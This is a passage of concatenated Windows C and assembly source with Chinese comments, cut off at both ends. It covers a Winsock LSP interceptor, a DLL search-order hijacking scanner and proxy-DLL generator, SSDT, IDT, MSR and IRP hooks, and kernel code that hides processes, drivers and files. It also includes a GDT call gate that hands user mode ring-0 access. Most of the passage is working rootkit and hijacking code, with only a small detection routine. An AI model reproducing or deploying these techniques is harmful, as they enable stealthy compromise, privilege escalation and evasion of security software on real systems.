int WSPAPI LSP_WSPSend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,
    LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped,
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, LPWSATHREADID lpThreadId, LPINT lpErrno)
{
    // 检查/修改/记录发送数据
    for (DWORD i = 0; i < dwBufferCount; i++) {
        // DLP 检查、关键词过滤、流量镜像等
    }
    return g_nextTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent,
        dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
}

int WSPAPI LSP_WSPRecv(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,
    LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped,
    LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine, LPWSATHREADID lpThreadId, LPINT lpErrno)
{
    int ret = g_nextTable.lpWSPRecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd,
        lpFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
    if (ret == 0 && lpNumberOfBytesRecvd && *lpNumberOfBytesRecvd > 0) {
        // 检查接收内容、注入数据等
    }
    return ret;
}

int WSPAPI WSPStartup(WORD wVersionRequested, LPWSPDATA lpWSPData,
    LPWSAPROTOCOL_INFOW lpProtocolInfo, WSPUPCALLTABLE UpcallTable, LPWSPPROC_TABLE lpProcTable)
{
    DWORD nextCatalogId = lpProtocolInfo->ProtocolChain.ChainEntries[1];
    
    // 查找下层协议 DLL 路径
    DWORD bufSize = 0;
    WSCEnumProtocols(NULL, NULL, &bufSize, NULL);
    LPWSAPROTOCOL_INFOW protos = (LPWSAPROTOCOL_INFOW)malloc(bufSize);
    int count = WSCEnumProtocols(NULL, protos, &bufSize, NULL);
    
    WCHAR nextDllPath[MAX_PATH] = {0};
    int pathLen = MAX_PATH, err = 0;
    for (int i = 0; i < count; i++) {
        if (protos[i].dwCatalogEntryId == nextCatalogId) {
            WSCGetProviderPath(&protos[i].ProviderId, nextDllPath, &pathLen, &err);
            break;
        }
    }
    free(protos);
    
    WCHAR expandedPath[MAX_PATH];
    ExpandEnvironmentStringsW(nextDllPath, expandedPath, MAX_PATH);
    HMODULE hNext = LoadLibraryW(expandedPath);
    if (!hNext) return WSAEPROVIDERFAILEDINIT;
    
    typedef int (WSPAPI *WSPStartup_t)(WORD, LPWSPDATA, LPWSAPROTOCOL_INFOW, WSPUPCALLTABLE, LPWSPPROC_TABLE);
    WSPStartup_t pNextStartup = (WSPStartup_t)GetProcAddress(hNext, "WSPStartup");
    if (!pNextStartup) return WSAEPROVIDERFAILEDINIT;
    
    WSAPROTOCOL_INFOW nextInfo = *lpProtocolInfo;
    nextInfo.dwCatalogEntryId = nextCatalogId;
    int ret = pNextStartup(wVersionRequested, lpWSPData, &nextInfo, UpcallTable, lpProcTable);
    if (ret != 0) return ret;
    
    // 保存下层函数表,替换拦截点
    g_nextTable = *lpProcTable;
    lpProcTable->lpWSPConnect = LSP_WSPConnect;
    lpProcTable->lpWSPSend = LSP_WSPSend;
    lpProcTable->lpWSPRecv = LSP_WSPRecv;
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(hModule);
    return TRUE;
}
#endif
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment(lib, "dbghelp.lib")

typedef struct {
    WCHAR dllName[MAX_PATH];
    WCHAR plantPath[MAX_PATH];
} HIJACK_OPPORTUNITY;

// 分析 PE 导入表找出可劫持的 DLL
DWORD AnalyzeImports(const WCHAR* pePath, HIJACK_OPPORTUNITY* results, DWORD maxResults) {
    DWORD found = 0;
    
    HANDLE hFile = CreateFileW(pePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return 0;
    HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
    if (!hMapping) { CloseHandle(hFile); return 0; }
    LPVOID pBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    if (!pBase) { CloseHandle(hMapping); CloseHandle(hFile); return 0; }
    
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBase;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBase + pDos->e_lfanew);
    DWORD importRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
    if (!importRva) goto cleanup;
    
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
    BYTE* importPtr = NULL;
    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (importRva >= pSec[i].VirtualAddress &&
            importRva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
            importPtr = (BYTE*)pBase + importRva - pSec[i].VirtualAddress + pSec[i].PointerToRawData;
            break;
        }
    }
    if (!importPtr) goto cleanup;
    
    // KnownDlls: 这些 DLL 受系统保护,无法通过搜索顺序劫持
    const char* knownDlls[] = {
        "kernel32.dll", "ntdll.dll", "user32.dll", "gdi32.dll", "advapi32.dll",
        "shell32.dll", "ole32.dll", "oleaut32.dll", "msvcrt.dll", "ws2_32.dll",
        "comctl32.dll", "comdlg32.dll", "rpcrt4.dll", "secur32.dll", "shlwapi.dll",
        "setupapi.dll", "cfgmgr32.dll", "imm32.dll", "normaliz.dll", NULL
    };
    
    WCHAR exeDir[MAX_PATH];
    wcscpy_s(exeDir, MAX_PATH, pePath);
    WCHAR* lastSlash = wcsrchr(exeDir, L'\\');
    if (lastSlash) *lastSlash = L'\0';
    
    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)importPtr;
    while (pImport->Name && found < maxResults) {
        DWORD nameRva = pImport->Name;
        char* dllNameA = NULL;
        for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
            if (nameRva >= pSec[i].VirtualAddress &&
                nameRva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
                dllNameA = (char*)((BYTE*)pBase + nameRva - pSec[i].VirtualAddress + pSec[i].PointerToRawData);
                break;
            }
        }
        if (!dllNameA) { pImport++; continue; }
        
        // 跳过 KnownDlls
        BOOL isKnown = FALSE;
        for (int k = 0; knownDlls[k]; k++)
            if (_stricmp(dllNameA, knownDlls[k]) == 0) { isKnown = TRUE; break; }
        
        if (!isKnown) {
            WCHAR dllNameW[MAX_PATH];
            MultiByteToWideChar(CP_ACP, 0, dllNameA, -1, dllNameW, MAX_PATH);
            
            // 检查应用目录是否已有该 DLL(已有则不是劫持机会)
            WCHAR testPath[MAX_PATH];
            swprintf_s(testPath, MAX_PATH, L"%s\\%s", exeDir, dllNameW);
            
            if (GetFileAttributesW(testPath) == INVALID_FILE_ATTRIBUTES) {
                wcscpy_s(results[found].dllName, MAX_PATH, dllNameW);
                wcscpy_s(results[found].plantPath, MAX_PATH, testPath);
                found++;
            }
        }
        pImport++;
    }
    
cleanup:
    UnmapViewOfFile(pBase);
    CloseHandle(hMapping);
    CloseHandle(hFile);
    return found;
}

// 生成转发 DLL 的 .def 文件(所有导出转发到原始 DLL)
BOOL GenerateForwarderDef(const WCHAR* originalDllPath, const WCHAR* outputDefPath) {
    HMODULE hMod = LoadLibraryExW(originalDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!hMod) return FALSE;
    
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + pDos->e_lfanew);
    DWORD exportRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!exportRva) { FreeLibrary(hMod); return FALSE; }
    
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hMod + exportRva);
    DWORD* nameRvas = (DWORD*)((BYTE*)hMod + pExport->AddressOfNames);
    
    FILE* defFile = _wfopen(outputDefPath, L"w");
    if (!defFile) { FreeLibrary(hMod); return FALSE; }
    
    // 获取原始 DLL 名(不含扩展名)用于转发
    char origName[64];
    WideCharToMultiByte(CP_ACP, 0, wcsrchr(originalDllPath, L'\\') + 1, -1, origName, 64, NULL, NULL);
    char* dot = strrchr(origName, '.'); if (dot) *dot = '\0';
    
    fprintf(defFile, "EXPORTS\n");
    for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
        char* funcName = (char*)((BYTE*)hMod + nameRvas[i]);
        // 转发格式: FuncName = OriginalDll_orig.FuncName
        fprintf(defFile, "    %s = %s_orig.%s\n", funcName, origName, funcName);
    }
    
    fclose(defFile);
    FreeLibrary(hMod);
    return TRUE;
}

// 运行时检测:发现当前进程中被劫持的 DLL
void DetectHijackedModules() {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
    if (hSnap == INVALID_HANDLE_VALUE) return;
    
    WCHAR sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);
    
    MODULEENTRY32W me = { sizeof(me) };
    if (Module32FirstW(hSnap, &me)) {
        do {
            // 如果模块不在系统目录中
            if (wcsstr(me.szExePath, sysDir) == NULL) {
                // 但系统目录中存在同名文件 -> 可能是劫持
                WCHAR expectedPath[MAX_PATH];
                swprintf_s(expectedPath, MAX_PATH, L"%s\\%s", sysDir, me.szModule);
                if (GetFileAttributesW(expectedPath) != INVALID_FILE_ATTRIBUTES) {
                    wprintf(L"[HIJACK DETECTED] %s\n  Loaded: %s\n  Expected: %s\n",
                        me.szModule, me.szExePath, expectedPath);
                }
            }
        } while (Module32NextW(hSnap, &me));
    }
    CloseHandle(hSnap);
}

int wmain(int argc, WCHAR* argv[]) {
    if (argc < 2) {
        wprintf(L"DLL Search Order Hijacking Tool\n\n");
        wprintf(L"Usage:\n");
        wprintf(L"  hijack scan <target.exe>    - Find hijack opportunities\n");
        wprintf(L"  hijack def <dll> <out.def>  - Generate forwarder .def\n");
        wprintf(L"  hijack detect               - Check current process\n");
        return 1;
    }
    
    if (_wcsicmp(argv[1], L"scan") == 0 && argc >= 3) {
        HIJACK_OPPORTUNITY results[512];
        DWORD count = AnalyzeImports(argv[2], results, 512);
        wprintf(L"\nFound %lu hijackable DLLs for %s:\n\n", count, argv[2]);
        for (DWORD i = 0; i < count; i++)
            wprintf(L"  %-30s -> %s\n", results[i].dllName, results[i].plantPath);
    }
    else if (_wcsicmp(argv[1], L"def") == 0 && argc >= 4) {
        if (GenerateForwarderDef(argv[2], argv[3]))
            wprintf(L"Generated: %s\nCompile: cl /LD proxy.c /DEF:%s\n", argv[3], argv[3]);
        else
            wprintf(L"Failed to generate .def\n");
    }
    else if (_wcsicmp(argv[1], L"detect") == 0) {
        wprintf(L"Scanning loaded modules...\n");
        DetectHijackedModules();
    }
    
    return 0;
}
#include <ntddk.h>

typedef struct _KSERVICE_TABLE_DESCRIPTOR {
    PLONG Base;            // 函数偏移表基地址(Win64 存的是相对偏移)
    PULONG Count;          // 调用计数表
    ULONG Limit;           // 最大服务号
    PUCHAR Number;         // 参数字节数表
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

// KeServiceDescriptorTable 是导出符号(仅 x86),x64 需要手动定位
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;

// x64 SSDT 使用相对偏移而非绝对地址
// 实际地址 = Base + (Base[SSN] >> 4)
// 低 4 位存储参数字节数

// 定位 SSDT(x64 方式:通过 KiSystemServiceRepeat 签名扫描)
PVOID FindSsdtBase() {
    // KiSystemCall64 中的特征码搜索
    // 4C 8D 15 XX XX XX XX  lea r10, [KeServiceDescriptorTable]
    ULONG64 kiSystemCall = __readmsr(0xC0000082); // IA32_LSTAR
    
    // 从 KiSystemCall64 开始扫描特征码
    for (ULONG i = 0; i < 0x500; i++) {
        // 寻找 lea r10, [rip + offset] (4C 8D 15)
        if (*(USHORT*)((BYTE*)kiSystemCall + i) == 0x8D4C &&
            *((BYTE*)kiSystemCall + i + 2) == 0x15) {
            INT32 offset = *(INT32*)((BYTE*)kiSystemCall + i + 3);
            PVOID ssdt = (PVOID)((BYTE*)kiSystemCall + i + 7 + offset);
            return ssdt;
        }
    }
    return NULL;
}

// 读取 SSDT 中某个 SSN 对应的内核函数地址
PVOID GetSsdtFunctionAddress(ULONG ssn) {
    PKSERVICE_TABLE_DESCRIPTOR ssdt = (PKSERVICE_TABLE_DESCRIPTOR)FindSsdtBase();
    if (!ssdt || ssn >= ssdt->Limit) return NULL;
    
    LONG offset = ssdt->Base[ssn] >> 4;
    return (PVOID)((BYTE*)ssdt->Base + offset);
}

// 修改 SSDT 条目(需要关闭写保护)
NTSTATUS HookSsdtEntry(ULONG ssn, PVOID hookFunction, PVOID* originalFunction) {
    PKSERVICE_TABLE_DESCRIPTOR ssdt = (PKSERVICE_TABLE_DESCRIPTOR)FindSsdtBase();
    if (!ssdt || ssn >= ssdt->Limit) return STATUS_INVALID_PARAMETER;
    
    // 保存原始函数地址
    LONG origOffset = ssdt->Base[ssn] >> 4;
    *originalFunction = (PVOID)((BYTE*)ssdt->Base + origOffset);
    
    // 计算新的偏移
    LONG newOffset = (LONG)((BYTE*)hookFunction - (BYTE*)ssdt->Base);
    LONG newEntry = (newOffset << 4) | (ssdt->Base[ssn] & 0xF); // 保留低4位
    
    // 关闭 CR0.WP 位(禁用写保护)
    ULONG64 cr0 = __readcr0();
    __writecr0(cr0 & ~0x10000);
    
    // 关中断防止竞态
    _disable();
    
    // 写入新偏移
    InterlockedExchange(&ssdt->Base[ssn], newEntry);
    
    _enable();
    __writecr0(cr0);
    
    return STATUS_SUCCESS;
}

// Hook 函数示例:拦截 NtOpenProcess
typedef NTSTATUS(*fnNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
fnNtOpenProcess OriginalNtOpenProcess = NULL;

NTSTATUS HookedNtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) {
    // 保护特定进程
    if (ClientId && ClientId->UniqueProcess == (HANDLE)g_protectedPid) {
        return STATUS_ACCESS_DENIED;
    }
    return OriginalNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
#include <ntddk.h>

#pragma pack(push, 1)
typedef struct _IDTENTRY64 {
    USHORT OffsetLow;      // 目标函数地址低16位
    USHORT Selector;       // 代码段选择器
    USHORT Ist : 3;        // IST 索引
    USHORT Reserved0 : 5;
    USHORT Type : 4;       // 门类型 (0xE = 中断门)
    USHORT Reserved1 : 1;
    USHORT Dpl : 2;        // 描述符特权级
    USHORT Present : 1;    // 存在位
    USHORT OffsetMid;      // 中16位
    ULONG  OffsetHigh;     // 高32位
    ULONG  Reserved2;
} IDTENTRY64, *PIDTENTRY64;

typedef struct _IDTR {
    USHORT Limit;
    ULONG64 Base;
} IDTR;
#pragma pack(pop)

// 获取当前 CPU 的 IDT 基地址
PIDTENTRY64 GetIdtBase() {
    IDTR idtr;
    __sidt(&idtr);
    return (PIDTENTRY64)idtr.Base;
}

// 从 IDT 条目中提取完整的处理器地址
ULONG64 GetIdtHandlerAddress(PIDTENTRY64 entry) {
    return (ULONG64)entry->OffsetLow | 
           ((ULONG64)entry->OffsetMid << 16) | 
           ((ULONG64)entry->OffsetHigh << 32);
}

// 设置 IDT 条目的处理器地址
void SetIdtHandlerAddress(PIDTENTRY64 entry, ULONG64 newHandler) {
    entry->OffsetLow  = (USHORT)(newHandler & 0xFFFF);
    entry->OffsetMid  = (USHORT)((newHandler >> 16) & 0xFFFF);
    entry->OffsetHigh = (ULONG)((newHandler >> 32) & 0xFFFFFFFF);
}

// Hook 特定中断向量
ULONG64 g_originalInt1Handler = 0;

void HookIdtVector(UCHAR vector, PVOID newHandler) {
    PIDTENTRY64 idt = GetIdtBase();
    PIDTENTRY64 entry = &idt[vector];
    
    // 保存原始处理器
    g_originalInt1Handler = GetIdtHandlerAddress(entry);
    
    // 关中断
    _disable();
    
    // 修改处理器地址
    SetIdtHandlerAddress(entry, (ULONG64)newHandler);
    
    _enable();
}

// int 1 (单步/硬件断点) Hook 处理器
// 必须是裸函数,正确保存/恢复上下文
__declspec(naked) void HookedInt1Handler() {
    __asm {
        // 保存寄存器
        push rax
        push rcx
        push rdx
        push r8
        push r9
        push r10
        push r11
        
        // 检查 DR6 确定触发原因
        mov rax, dr6
        test rax, 0xF        // 检查是否是 DR0-3 触发
        jz pass_through
        
        // 是硬件断点触发,执行 Hook 逻辑
        // ...自定义处理...
        
        // 清除 DR6
        xor rax, rax
        mov dr6, rax
        
    pass_through:
        pop r11
        pop r10
        pop r9
        pop r8
        pop rdx
        pop rcx
        pop rax
        
        // 跳转到原始处理器
        jmp [g_originalInt1Handler]
    }
}

// 注意:x64 上 IDT Hook 需要对每个 CPU 核心都做修改
void HookIdtOnAllCpus(UCHAR vector, PVOID handler) {
    ULONG numCpus = KeQueryActiveProcessorCountEx(ALL_PROCESSOR_GROUPS);
    
    for (ULONG i = 0; i < numCpus; i++) {
        PROCESSOR_NUMBER procNum;
        KeGetProcessorNumberFromIndex(i, &procNum);
        
        GROUP_AFFINITY affinity = {0};
        affinity.Group = procNum.Group;
        affinity.Mask = 1ULL << procNum.Number;
        
        GROUP_AFFINITY oldAffinity;
        KeSetSystemGroupAffinityThread(&affinity, &oldAffinity);
        
        HookIdtVector(vector, handler);
        
        KeRevertToUserGroupAffinityThread(&oldAffinity);
    }
}
#include <ntddk.h>

typedef struct _IRP_HOOK {
    PDRIVER_OBJECT targetDriver;
    ULONG majorFunction;
    PDRIVER_DISPATCH originalDispatch;
    PDRIVER_DISPATCH hookDispatch;
} IRP_HOOK;

#define MAX_IRP_HOOKS 16
IRP_HOOK g_irpHooks[MAX_IRP_HOOKS] = {0};
int g_irpHookCount = 0;

// 获取驱动对象
NTSTATUS GetDriverObjectByName(PUNICODE_STRING driverName, PDRIVER_OBJECT* ppDriver) {
    return ObReferenceObjectByName(
        driverName,
        OBJ_CASE_INSENSITIVE,
        NULL,
        0,
        *IoDriverObjectType,
        KernelMode,
        NULL,
        (PVOID*)ppDriver
    );
}

// Hook 某个驱动的特定 IRP 处理函数
NTSTATUS InstallIrpHook(PUNICODE_STRING driverName, ULONG majorFunc, PDRIVER_DISPATCH hookFunc) {
    PDRIVER_OBJECT pDriver = NULL;
    NTSTATUS status = GetDriverObjectByName(driverName, &pDriver);
    if (!NT_SUCCESS(status)) return status;
    
    if (g_irpHookCount >= MAX_IRP_HOOKS) {
        ObDereferenceObject(pDriver);
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    
    IRP_HOOK* hook = &g_irpHooks[g_irpHookCount];
    hook->targetDriver = pDriver;
    hook->majorFunction = majorFunc;
    hook->originalDispatch = pDriver->MajorFunction[majorFunc];
    hook->hookDispatch = hookFunc;
    
    // 原子替换函数指针
    InterlockedExchangePointer(
        (PVOID*)&pDriver->MajorFunction[majorFunc],
        hookFunc
    );
    
    g_irpHookCount++;
    return STATUS_SUCCESS;
}

// 卸载 IRP Hook
void RemoveIrpHook(int index) {
    if (index >= g_irpHookCount) return;
    IRP_HOOK* hook = &g_irpHooks[index];
    
    InterlockedExchangePointer(
        (PVOID*)&hook->targetDriver->MajorFunction[hook->majorFunction],
        hook->originalDispatch
    );
    
    ObDereferenceObject(hook->targetDriver);
}

// 示例:Hook NTFS 驱动的文件创建操作(隐藏文件)
NTSTATUS HookedNtfsCreate(PDEVICE_OBJECT DevObj, PIRP Irp) {
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    PFILE_OBJECT fileObj = irpSp->FileObject;
    
    if (fileObj && fileObj->FileName.Buffer) {
        // 检查是否是要隐藏的文件
        if (wcsstr(fileObj->FileName.Buffer, L"secret.dat")) {
            Irp->IoStatus.Status = STATUS_OBJECT_NAME_NOT_FOUND;
            Irp->IoStatus.Information = 0;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_OBJECT_NAME_NOT_FOUND;
        }
    }
    
    // 放行其他请求
    return g_irpHooks[0].originalDispatch(DevObj, Irp);
}

// 安装示例
void InstallNtfsHook() {
    UNICODE_STRING ntfsDriver = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
    InstallIrpHook(&ntfsDriver, IRP_MJ_CREATE, HookedNtfsCreate);
}
#include <ntddk.h>

// EPROCESS 结构偏移(Windows 版本相关,需要动态获取)
// Windows 10 22H2 x64:
// ActiveProcessLinks: 0x448
// ImageFileName: 0x5A8
// UniqueProcessId: 0x440

// 动态获取 ActiveProcessLinks 偏移
ULONG GetActiveProcessLinksOffset() {
    // 方法:找到 System 进程(PID=4),通过 PsGetProcessId 验证
    PEPROCESS systemProcess = PsInitialSystemProcess;
    
    // 遍历 EPROCESS 寻找 PID=4 的偏移
    for (ULONG offset = 0; offset < 0x800; offset += sizeof(PVOID)) {
        if (*(HANDLE*)((BYTE*)systemProcess + offset) == (HANDLE)4) {
            // 找到 UniqueProcessId 偏移
            // ActiveProcessLinks 通常紧随其后(+8)
            PLIST_ENTRY pList = (PLIST_ENTRY)((BYTE*)systemProcess + offset + 8);
            // 验证:链表应该指向其他 EPROCESS
            if (MmIsAddressValid(pList->Flink) && MmIsAddressValid(pList->Blink)) {
                return offset + 8;
            }
        }
    }
    return 0;
}

// 隐藏进程
NTSTATUS HideProcess(ULONG targetPid) {
    PEPROCESS process;
    NTSTATUS status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)targetPid, &process);
    if (!NT_SUCCESS(status)) return status;
    
    ULONG offset = GetActiveProcessLinksOffset();
    if (offset == 0) {
        ObDereferenceObject(process);
        return STATUS_UNSUCCESSFUL;
    }
    
    PLIST_ENTRY pList = (PLIST_ENTRY)((BYTE*)process + offset);
    
    // 从双向链表中摘除(需要锁保护)
    KIRQL oldIrql;
    KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
    
    PLIST_ENTRY prev = pList->Blink;
    PLIST_ENTRY next = pList->Flink;
    prev->Flink = next;
    next->Blink = prev;
    
    // 指向自己,防止后续遍历崩溃
    pList->Flink = pList;
    pList->Blink = pList;
    
    KeLowerIrql(oldIrql);
    ObDereferenceObject(process);
    return STATUS_SUCCESS;
}

// 隐藏驱动(从 PsLoadedModuleList 摘除)
NTSTATUS HideDriver(PDRIVER_OBJECT driverObject) {
    typedef struct _KLDR_DATA_TABLE_ENTRY {
        LIST_ENTRY InLoadOrderLinks;
        PVOID ExceptionTable;
        ULONG ExceptionTableSize;
        PVOID GpValue;
        PVOID NonPagedDebugInfo;
        PVOID ImageBase;
        PVOID EntryPoint;
        ULONG ImageSize;
        UNICODE_STRING FullImageName;
        UNICODE_STRING BaseImageName;
        // ...
    } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
    
    PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)driverObject->DriverSection;
    if (!entry) return STATUS_UNSUCCESSFUL;
    
    KIRQL oldIrql;
    KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
    
    // 从链表摘除
    RemoveEntryList(&entry->InLoadOrderLinks);
    entry->InLoadOrderLinks.Flink = &entry->InLoadOrderLinks;
    entry->InLoadOrderLinks.Blink = &entry->InLoadOrderLinks;
    
    KeLowerIrql(oldIrql);
    return STATUS_SUCCESS;
}

// 隐藏网络端口(修改 NSI 表或 Hook tcpip.sys)
// 这个比较复杂,通常通过 Hook tcpip.sys 的 nsiEnumerateObjectsAllParameters 实现
#include <ntddk.h>
#include <intrin.h>

#define MSR_LSTAR 0xC0000082

ULONG64 g_originalKiSystemCall64 = 0;
ULONG g_targetSsn = 0;
PVOID g_hookHandler = NULL;

// MSR Hook 处理器(纯汇编,必须正确管理 kernel GS 和栈)
// 这是 Windows x64 syscall 入口的精确复刻 + Hook 逻辑
extern void HookKiSystemCall64(void);

// MASM 实现 (hook_entry.asm):
// HookKiSystemCall64 PROC
//     ; syscall 执行时:
//     ; RCX = 用户态返回地址(已保存到 RCX by CPU)
//     ; R11 = 用户态 RFLAGS(已保存到 R11 by CPU)
//     ; RAX = SSN(系统调用号)
//     ; R10 = 第一个参数(用户态的 RCX 被 CPU 覆盖了)
//     
//     ; 先执行 swapgs(切换到内核 GS 基址)
//     swapgs
//     
//     ; 保存用户态栈指针
//     mov qword ptr gs:[10h], rsp   ; KPCR.UserRsp
//     
//     ; 切换到内核栈
//     mov rsp, qword ptr gs:[1A8h]  ; KPCR.Prcb.RspBase
//     
//     ; 检查 SSN
//     cmp eax, TARGET_SSN
//     jne original_path
//     
//     ; 是我们的目标 syscall,执行 Hook
//     push rax
//     push rcx
//     push rdx
//     push r10
//     push r11
//     sub rsp, 20h
//     call g_hookHandler
//     add rsp, 20h
//     pop r11
//     pop r10
//     pop rdx
//     pop rcx
//     pop rax
//     
// original_path:
//     ; 恢复用户态栈
//     mov rsp, qword ptr gs:[10h]
//     swapgs
//     ; 跳转到原始 KiSystemCall64
//     jmp g_originalKiSystemCall64
// HookKiSystemCall64 ENDP

// 在所有 CPU 上安装 MSR Hook
typedef struct _MSR_HOOK_DPC_CONTEXT {
    ULONG64 newLstar;
} MSR_HOOK_DPC_CONTEXT;

VOID MsrHookDpcRoutine(PKDPC Dpc, PVOID Context, PVOID Arg1, PVOID Arg2) {
    MSR_HOOK_DPC_CONTEXT* ctx = (MSR_HOOK_DPC_CONTEXT*)Context;
    __writemsr(MSR_LSTAR, ctx->newLstar);
    KeSignalCallDpcSynchronize(Arg2);
    KeSignalCallDpcDone(Arg1);
}

NTSTATUS InstallMsrHook() {
    g_originalKiSystemCall64 = __readmsr(MSR_LSTAR);
    
    MSR_HOOK_DPC_CONTEXT ctx;
    ctx.newLstar = (ULONG64)HookKiSystemCall64;
    
    // 在所有 CPU 上同时修改 MSR
    KeGenericCallDpc(MsrHookDpcRoutine, &ctx);
    
    return STATUS_SUCCESS;
}

NTSTATUS RemoveMsrHook() {
    MSR_HOOK_DPC_CONTEXT ctx;
    ctx.newLstar = g_originalKiSystemCall64;
    KeGenericCallDpc(MsrHookDpcRoutine, &ctx);
    return STATUS_SUCCESS;
}
#include <ntddk.h>

#pragma pack(push, 1)
typedef struct _CALL_GATE_DESCRIPTOR {
    USHORT OffsetLow;
    USHORT Selector;
    BYTE   Ist;
    BYTE   Attributes;    // P=1, DPL=3, Type=0xC (64-bit Call Gate)
    USHORT OffsetMid;
    ULONG  OffsetHigh;
    ULONG  Reserved;
} CALL_GATE_DESCRIPTOR;

typedef struct _GDTR {
    USHORT Limit;
    ULONG64 Base;
} GDTR;
#pragma pack(pop)

// 定义 Ring 0 代码段选择器
#define KGDT64_R0_CODE 0x10

// 获取 GDT 基址
PVOID GetGdtBase() {
    GDTR gdtr;
    _sgdt(&gdtr);
    return (PVOID)gdtr.Base;
}

// 在 GDT 中找到空闲 slot
int FindFreeGdtSlot() {
    GDTR gdtr;
    _sgdt(&gdtr);
    
    ULONG64* gdt = (ULONG64*)gdtr.Base;
    int maxSlots = (gdtr.Limit + 1) / 16; // Call Gate 占 16 字节
    
    // 从 slot 10 开始找(前面的被系统使用)
    for (int i = 10; i < maxSlots; i++) {
        // 检查 Present 位
        if ((gdt[i * 2] & (1ULL << 47)) == 0) {
            return i;
        }
    }
    return -1;
}

// 安装 Call Gate
USHORT InstallCallGate(PVOID kernelHandler) {
    int slot = FindFreeGdtSlot();
    if (slot < 0) return 0;
    
    CALL_GATE_DESCRIPTOR gate = {0};
    gate.OffsetLow  = (USHORT)((ULONG64)kernelHandler & 0xFFFF);
    gate.Selector   = KGDT64_R0_CODE;
    gate.Ist        = 0;
    gate.Attributes = 0xEC; // Present=1, DPL=3, Type=0xC (64-bit Call Gate)
    gate.OffsetMid  = (USHORT)(((ULONG64)kernelHandler >> 16) & 0xFFFF);
    gate.OffsetHigh = (ULONG)(((ULONG64)kernelHandler >> 32) & 0xFFFFFFFF);
    gate.Reserved   = 0;
    
    // 写入 GDT
    PVOID gdtBase = GetGdtBase();
    ULONG64 cr0 = __readcr0();
    __writecr0(cr0 & ~0x10000); // 关闭写保护
    
    memcpy((BYTE*)gdtBase + slot * 16, &gate, sizeof(gate));
    
    __writecr0(cr0);
    
    // 返回选择器(slot * 8 + RPL=3)
    return (USHORT)(slot * 8 + 3);
}

// 内核处理函数(用户态通过 call far 调用时进入这里)
void __fastcall CallGateHandler(void) {
    // 此时已在 Ring 0
    // 可以做任何内核操作
    // 通过 iretq 返回用户态
}

// 用户态调用方式(需要内联汇编或 shellcode)
// call far [selector:0]
// 其中 selector 是 InstallCallGate 返回的值
#include <ntddk.h>
#include <fltKernel.h>

// ========== 进程/线程/镜像回调 ==========

void ProcessNotifyCallback(PEPROCESS Process, HANDLE ProcessId, 
    PPS_CREATE_NOTIFY_INFO CreateInfo) {
    if (CreateInfo) {
        // 进程创建
        DbgPrint("[Hook] Process created: PID=%lu Image=%wZ\n", 
            (ULONG)(ULONG_PTR)ProcessId, CreateInfo->ImageFileName);
        
        // 可以阻止进程创建
        if (CreateInfo->ImageFileName && 
            wcsstr(CreateInfo->ImageFileName->Buffer, L"malware.exe")) {
            CreateInfo->CreationStatus = STATUS_ACCESS_DENIED;
        }
    } else {
        // 进程退出
